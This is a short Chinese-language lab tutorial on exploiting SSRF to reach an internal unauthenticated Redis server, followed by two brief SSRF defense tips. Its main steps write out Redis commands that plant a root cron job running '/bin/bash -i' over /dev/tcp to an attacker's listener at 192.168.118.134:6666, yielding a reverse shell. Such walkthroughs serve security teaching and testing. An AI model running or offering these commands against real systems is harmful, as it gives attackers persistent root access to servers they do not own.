实战篇——SSRF漏洞Redis反弹shell实战
SSRF之Redis实战
上一章中利用file伪协议实现了内网的主机探测,发现存在192.168.118.151,对其进行端口探测:
可见开放了6379端口,结合响应判断为Redis服务。
而Redis存在未授权访问漏洞,可以利用该漏洞实现信息泄露、数据删除以及反弹shell,下面演示通过SSRF实现Redis反弹shell获取内网服务器权限。
先做一下准备工作,在操作机上使用nc监听6666端口:
首先设置工作目录为定时任务目录,这样就可以实现定时发送连接请求:
config set dir /var/spool/cron
由于此处Redis指令作为SSRF请求参数,因此需要进行两次url编码:
其次创建root的定时任务文件,这样可以确保反弹的shell是最高权限:
config set dbfilename root
然后创建每分钟反弹shell的定时任务:
set x "\n* * * * * /bin/bash -i 0>/dev/tcp/192.168.118.134/6666 1>&0 2>&0\n"
最后保存:
成功反弹shell:
SSRF的防御
1.限制可以访问的协议和端口,仅允许必要的协议(如HTTP、HTTPS)和端口(如 80、443)。
2.对内部服务器应答的信息进行检测和过滤,防止敏感信息的泄露。